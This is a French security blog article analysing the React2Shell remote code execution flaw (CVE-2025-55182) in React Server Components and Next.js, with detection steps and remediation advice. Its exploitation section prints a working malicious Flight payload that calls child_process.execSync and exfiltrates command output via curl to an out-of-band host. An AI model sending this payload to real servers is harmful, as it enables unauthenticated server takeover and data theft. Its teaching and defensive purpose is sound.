React2Shell : analyse complète (CVE-2025-55182)

Read in English

Article illustration

Introduction

Début décembre 2025, une vulnérabilité critique a secoué l’écosystème React et Next.js : React2Shell (CVE-2025-55182).

Cette faille affecte les React Server Components (RSC) et permet, dans certaines conditions, une exécution de code à distance (RCE) sur le serveur hébergeant l’application. Elle ne nécessite aucune authentification, est très simple à exploiter, et obtient logiquement la note maximale de 10/10 sur l’échelle CVSS.

Dans cet article, nous allons voir ce qu'est exactement React2Shell, quelles versions sont concernées, comment la vulnérabilité fonctionne, comment la détecter et l’exploiter, et surtout, comment s’en protéger efficacement.

Voire la vidéo associée

Une vidéo YouTube accompagne cet article, dans laquelle je présente la faille de manière plus visuelle et pratique. Vous pouvez la consulter ici :

https://secureaks.com/uploads/a63182473cdf18071c743d113cf29c35a5004251.png

Qu’est-ce que React2Shell ?

React2Shell est une vulnérabilité liée au traitement des requêtes Flight par les React Server Components.

Pour rappel, les React Server Components permettent de rendre certains composants côté serveur, puis d’envoyer leur résultat au client sous forme d’un flux structuré. Ce mécanisme repose sur un format interne appelé Flight.

Le problème est le suivant :

React désérialise des objets Flight envoyés par le client sans validation suffisante, ce qui permet à un attaquant d’injecter un objet malveillant et d’exécuter du code arbitraire sur le serveur.

Cette vulnérabilité a été découverte par Lachlan Davidson et affecte :

  • les bibliothèques react-server-dom-* en versions 19.0 à 19.2.0,
  • certaines versions de Next.js (branches 15.x et 16.x) utilisant React Server Components par défaut.

Il est important de préciser que React2Shell ne concerne pas React côté client, mais bien React Server Components, donc du code exécuté sur le serveur.

État des lieux début décembre 2025

Depuis la divulgation officielle de la faille le 3 décembre 2025, plusieurs proofs of concept ont été publiées et des tentatives d’exploitation actives ont été observées sur le net.

Cependant, des outils de sécurité ont rapidement intégré des tests automatiques.

À l’heure actuelle, Nuclei propose un template public permettant de détecter la faille et Burp Suite, via l’extension ActiveScan++, inclut également un test dédié.

Les applications Next.js créées avec create-next-app dans certaines versions sont particulièrement exposées si elles n’ont pas été mises à jour.

Comprendre la faille : React Server Components et Flight

Rappel sur le format Flight

Les React Server Components utilisent un format de sérialisation interne appelé Flight.

Ce format, proche du JSON, permet de transporter des références vers des objets JavaScript, des symboles, et des structures complexes nécessaires à la reconstruction de l’interface côté client.

Le flux classique est le suivant :

  • le client envoie un objet Flight au serveur,
  • React le désérialise en objets JavaScript,
  • certaines actions sont exécutées côté serveur,
  • une réponse est renvoyée au client.

Où se situe le problème ?

La vulnérabilité React2Shell exploite une faille critique dans la désérialisation de ces objets Flight.

En envoyant un objet spécialement forgé, un attaquant peut détourner ce mécanisme pour accéder au constructeur JavaScript et, in fine, exécuter des commandes système via Node.js.

Sans entrer dans tous les détails internes (qui mériteraient un article dédié), cette faiblesse permet une RCE complète sur le serveur.

Détection de la vulnérabilité

Exemple d’environnement vulnérable

Pour illustrer, voici comment déployer rapidement une application vulnérable en local :

npx create-next-app@16.0.6 sample-app --yes
cd sample-app
npm run build
npm run start

L’application est alors accessible sur :

http://localhost:3000

Détection avec Nuclei

Si votre base de templates est à jour, il suffit d’exécuter la commande suivante :

nuclei -u http://localhost:3000 -t http/cves/2025/CVE-2025-55182.yaml

Nuclei results

Nuclei détecte immédiatement la vulnérabilité si l’application utilise une version affectée.

Il est également possible de scanner plusieurs cibles via l’option -l avec une liste d’URLs.

nuclei -l urls.txt -t http/cves/2025/CVE-2025-55182.yaml

Détection avec Burp Suite

Avec Burp Suite Professional et l’extension ActiveScan++, un scan actif sur l’URL suffit pour voir apparaître la vulnérabilité après quelques secondes.

Burp scan results

Exploitation de React2Shell

L’exploitation consiste à envoyer une requête HTTP POST contenant un objet Flight malveillant, correctement formaté, afin que le serveur React le traite comme une action valide.

Le code d’exploitation présenté ici est inspiré des travaux publiés par Datadog Security Labs, que je vous recommande vivement de consulter pour une analyse approfondie.

Exemple de requête HTTP d’exploitation

POST / HTTP/1.1
Host: localhost:3000
User-Agent: curl/8.17.0
Accept: */*
Next-Action: action
Content-Type: multipart/form-data; boundary=------------------------BVH5HszlpJ1JGzJgcvOVcg
Connection: keep-alive
-----------------------BVH5HszlpJ1JGzJgcvOVcg
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\": \"$B0\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('curl -X POST https://example.oastify.com/ -d \"p=$(id|base64)\"');",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
-----------------------BVH5HszlpJ1JGzJgcvOVcg
Content-Disposition: form-data; name="1"

"$@0"-----------------------BVH5HszlpJ1JGzJgcvOVcg--

Quelques points importants :

  • le header Next-Action: action est requis pour que la requête soit traitée comme une action React
  • le champ 0 contient l’objet Flight malveillant
  • la commande système est exécutée via child_process.execSync
  • les données sont exfiltrées via une requête HTTP externe
  • l’encodage en base64 évite les problèmes liés aux espaces et retours à la ligne

Une fois la requête envoyée, les données exfiltrées confirment que l’exécution de code a bien eu lieu.

Burp repeater

Burp collaborator

Impacts potentiels

Une exploitation réussie permet notamment l’installation de backdoors, le vol de données sensibles, l’accès aux variables d’environnement, la compromission complète du serveur, ou encore un pivot vers d’autres systèmes internes.

Il s'agit donc clairement d'une vulnérabilité critique.

Comment corriger et se protéger

La bonne nouvelle, c’est que la correction est simple : il suffit de mettre à jour les bibliothèques concernées.

Conclusion

React2Shell illustre parfaitement les risques liés aux mécanismes complexes de sérialisation côté serveur.

Une fonctionnalité puissante comme les React Server Components peut devenir un vecteur d’attaque majeur lorsqu’un détail de désérialisation est mal maîtrisé.

Si vous utilisez React et Next.js en production :

  • vérifiez vos versions immédiatement
  • mettez à jour sans attendre
  • et intégrez des scans de sécurité réguliers (Nuclei, Burp, etc.)

Si ce type d’analyse vous intéresse, je publie régulièrement du contenu autour de la sécurité des applications web, notamment des guides pratiques sur l’utilisation d’outils comme Nuclei pour détecter ce genre de vulnérabilités.

Sources et liens utiles :

  • https://cert.ssi.gouv.fr/actualite/CERTFR-2025-ACT-053
  • https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
  • https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
  • https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/
  • https://react2shell.com/
  • https://tryhackme.com/room/react2shellcve202555182
Retour à la liste
Matomo